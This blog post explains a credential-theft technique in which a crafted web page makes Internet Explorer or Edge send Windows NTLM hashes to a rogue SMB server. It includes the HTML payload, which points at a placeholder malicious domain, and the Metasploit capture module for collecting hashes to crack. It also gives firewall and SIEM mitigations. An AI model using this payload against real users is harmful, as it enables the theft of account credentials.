Stealing Your Hashes - Internet Explorer/Edge Strikes Back

I recently saw a post on ZDNet talking about how a group of researchers found that they were able to magically pull user hashes remotely via a crafted web page. Since Windows 8/10 can login via your Microsoft account, this becomes a HUGE issue.

Read the article here: http://www.zdnet.com/article/windows-attack-can-steal-your-username-password-and-other-logins/

This post focuses on the Internet Explorer/Microsoft Edge attack vector (loading a resource from a rogue SMB server operated by us/an attacker).

So, how does this magic work? Let's take a look!


Without getting too technical and creating an entire blog post on SMB, we'll assume you have a rough idea how SMB works.

We've seen attacks such as LLMNR/NBT-NS poisoning which can yield NTLM Challenge-Response hashes. In fact, several pen. testers use LLMNR/NBT-NS/WPAD as a means to obtain hashes. It is important to understand that NTLM Challenge-Reponse hashes must be cracked/brute-forced and cannot be used in pass-the-hash attacks. Luckily, according to the aforementioned ZDNet article, we can obtain NTLM Challenge hashes via an embedded resource which is hosted on a web server, which then tries to load a resource from a rogue SMB server.

Protoxin, we know....get on with it!

So, those researchers. How are they doing such a feat to get SMB hashes via a browser? Well, they are embedding an object in HTML which uses a file:// attribute to retrieve a resource over SMB. What??

For example, you can create an HTML page with the following:

<html>  
<head>  
<title>  
Send Hash  
</title>  
</head>  
<body>  
<img src='file://MALICIOUSDOMAIN.COM/a.jpg' />  
</body>  
</html>  

The MALICIOUSDOMAIN.COM will be our rogue SMB server IP/Name ;). Since the img object will load upon navigation, the user will be sending their hash directly to the SMB server.

Now that you've created an html page, fire up your pen. testing box and open Metasploit. Once Metasploit is open, we are going to use the following module:

auxiliary/server/capture/smb

Now, run the module.

*Optionally, you can save the hashes in a JohnTheRipper format by doing:

set JOHNPWFILE /tmp/hashes.txt

Once our SMB service via Metasploit is running, go to a Windows computer and open up the html file containing the code above. Once opened, go back to your running Metasploit instance and you'll see the droids...I mean hashes, you are looking for.

I'll get some screenshots up soon and whatnot, but, this is a pretty easy attack and is old. Regardless, I'm a bit saddened that Micro$oft, according to that article by ZDNet, isn't going to patch this.


Why is this an issue?

This is an issue because this means any website can just have an image or whatever object will, on page load, attempt to open a resource over SMB. In other words, an attacker can just craft this page, setup a rogue SMB server, and send a link via email or whatever communication medium. Once a victim loads the attacker's page, if using Internet Explorer or Microsoft Edge, they will unknowingly be sending their hashes to the attacker. Not to mention, as the article describes, Windows 8/10 can use your Microsoft account to login. This means that if you use your Microsoft account to login, you're potentially giving out your Skype, Outlook, and Xbox credentials. Pretty nifty, eh?

Remediating this issue

According to the ZDNet article, Microsoft does not intend on 'patching' this issue. What can you do to protect yourself? One such method is to restrict outbound SMB traffic (port 445) at your firewall.

I tried adjusting the ports on my SMB server to a non-default port and the NTLM Challenge hash was never sent. So, in order for this attack to be effective, traffic must be sent over 445/default SMB port.

The one benefit is that this is something a SIEM can detect. If you start looking for connections from an internal asset to a non-approved-remote resource over port 445/SMB, you need to do some serious investigation.

UPDATE:

While messing around with this attack, it became clear that many ISPs (at least here in the USA) block SMB going inbound. Apparently it _protects_ people. I go back to my original statement that if you are seeing outbound SMB traffic to some random remote resource, you have a problem.

Join EFF!